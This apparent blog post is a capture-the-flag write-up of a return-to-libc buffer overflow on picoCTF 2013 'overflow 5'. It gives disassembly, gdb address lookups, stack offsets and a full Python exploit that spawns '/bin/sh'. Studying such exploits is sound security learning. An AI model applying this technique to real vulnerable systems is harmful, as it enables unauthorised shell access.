Return to libc attack

What if we are on a system with non-executable stack? Or a system that carefully distinguishes between data and instructions, so that our data will not be executable? Then the return address must be overwritten with an address of our choice that points at executable code that was present already.

In this example, I am going to explain a problem from 2013 picoCTF (overflow 5)

Dump of assembler code for function vuln:
   0x080484c0 :     sub    esp,0x41c
   0x080484c6 :     mov    eax,DWORD PTR [esp+0x420]
   0x080484cd :    mov    DWORD PTR [esp+0x4],eax
   0x080484d1 :    lea    eax,[esp+0x10]
   0x080484d5 :    mov    DWORD PTR [esp],eax
   0x080484d8 :    call   0x8048380 
   0x080484dd :    add    esp,0x41c
   0x080484e3 :    ret    
End of assembler dump.

If you have a look at the highest addresses of a linux ELF binary via gdb, when it is
first loaded into memory, you’ll see something like this:

--------------------- 0xBFFFFFFF
|\x00 \x00 \x00 \x00| 0xBFFFFFFB (4 NULL byte)
|\x00 ........      | 0xBFFFFFFA (program_name)
| ..................|
|...................| n. environment variable (env[n])
|...................| n-1. environment variable (env[n-1])
|...................|           ...
|...................| 1. environment variable (env[0])
|...................| ...
|...................| n. argument string (argv[n])
|...................| n-1. argument string (argv[n-1])
|...................| ...
|          .        |
|          .        |
|          .        |

The standard trick is to use the system() libc library call. We’ll do a system("/bin/sh") call. Make the return address point at system(), and prepare the stack so that this routine finds its argument on the stack. We need the addresses of system() and "/bin/sh" and (for a clean exit) of exit().

First find the addresses of system() and exit() in libc

$ gdb overflow5-0353c1a83cb2fa0d                                                                                                                                               
gdb-peda$ break main
Breakpoint 1 at 0x80483c3
gdb-peda$ r
Breakpoint 1, 0x080483c3 in main ()
gdb-peda$ p system
$1 = {} 0xb7e5f060 
gdb-peda$ p exit
$2 = {} 0xb7e52be0

In-order to exploit this vulnerable program, you have to setup the program stack like this:

  • Above figure illustrates the contents of the stack after buffer overflow. First 1032 bytes occupies the actual memory allocated to the stack. So during the overflow attack I kept first 1032 bytes buffer empty or with ‘A’s
  • Next 4 bytes would be the pointer to the previous stack frame. So this contains the memory address of the stack frame of the main() method. So next 4 bytes of the buffer is empty as well. So first 1036 bytes of the buffer array could be empty or filled with any arbitrary value during the attack.
  • Originally next 4 bytes represent the return address of the vuln() function. So after function execution, program will return to the code line of this address. This would be the prominent target of the stack overflow attack. During the overflow this 4 bytes (1037 – 1040) was overridden with the memory address of the system() libc function.
  • After the completion of system() function, execution will return to the address specified in this 4 bytes block. So address of the exit() function should be place in this 4 bytes. (1041 – 1044).
  • During the execution of system() function, program will look up next 4 bytes for any available arguments of system() function call (1045 – 1049). So this 4 bytes contains the address to “/bin/sh” string

This is how the exploit looks like:

#!/usr/bin/env python
from os import execve
from struct import pack
from platform import machine

system = 0xb7e5f060       # Address of system()
exit  = 0xb7e52be0        # Address of exit()

#  Program to exploit
vuln = "./overflow5-0353c1a83cb2fa0d"

arg = "/bin/sh"
env = {"":arg}

# Calculate address of binsh on stack
if machine() == 'x86_64': binsh = 0xffffe000 - 0x8 - len(vuln) - len(arg) - 0x2
else: binsh = 0xc0000000 - 0x4 - len(vuln) - len(arg) - 0x2

payload = "A" * 1036            # buffer + EBP
payload += pack("<I", system)   # system()
payload += pack("<I", exit)     # exit()
payload += pack("<I", binsh)    # addr("/bin/sh")

# Execute program with payload
execve(vuln, [vuln, payload], env)

Leave a Reply

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s